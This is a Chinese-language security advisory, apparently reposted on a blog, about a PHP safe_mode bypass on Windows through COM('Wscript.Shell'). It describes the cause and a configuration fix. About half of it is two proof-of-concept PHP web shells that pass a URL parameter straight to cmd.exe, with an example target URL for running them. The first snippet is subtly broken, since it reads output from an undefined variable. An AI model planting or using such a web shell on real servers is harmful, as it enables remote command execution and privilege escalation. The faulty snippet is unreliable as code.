PHP COM组件调用绕过安全模式执行任意文件漏洞

受影响的系统:
Windows 下支持COM()函数的PHP版本

发现人:
Saiy/我非我 From http://www.wrsky.com & kEvin1986
Saiy:dawangs_at_etang.com
kEvin1986:Garnett1986_at_hotmail.com
我非我:wofeiwo_at_bugkidz.org

我非我:

描述:

Windows平台下的PHP脚本平台存在一个安全漏洞,使得PHP设置即使在安全模式下(safe_mode),仍旧允许攻击者使用COM()函数来创建系统组件来执行任意命令.
漏洞出现的原因是由于在安全模式下的PHP平台虽然system();pathru()函数被禁止,但是com.allow_dcom的设置依旧是为true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限.

测试程序:
-----------------------------------------------------------------

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*需要Windows Script Host 5.6支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>

/*Windows Script Host 5.6以下版本支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
?>

将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]

---------------------------------------------------------------
补丁:
目前PHP官方未回复发现者的信件且未发布任何相关补丁.

建议:
在设置安全模式之后,将 com.allow_dcom=true 设置为 com.allow_dcom=false即可.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值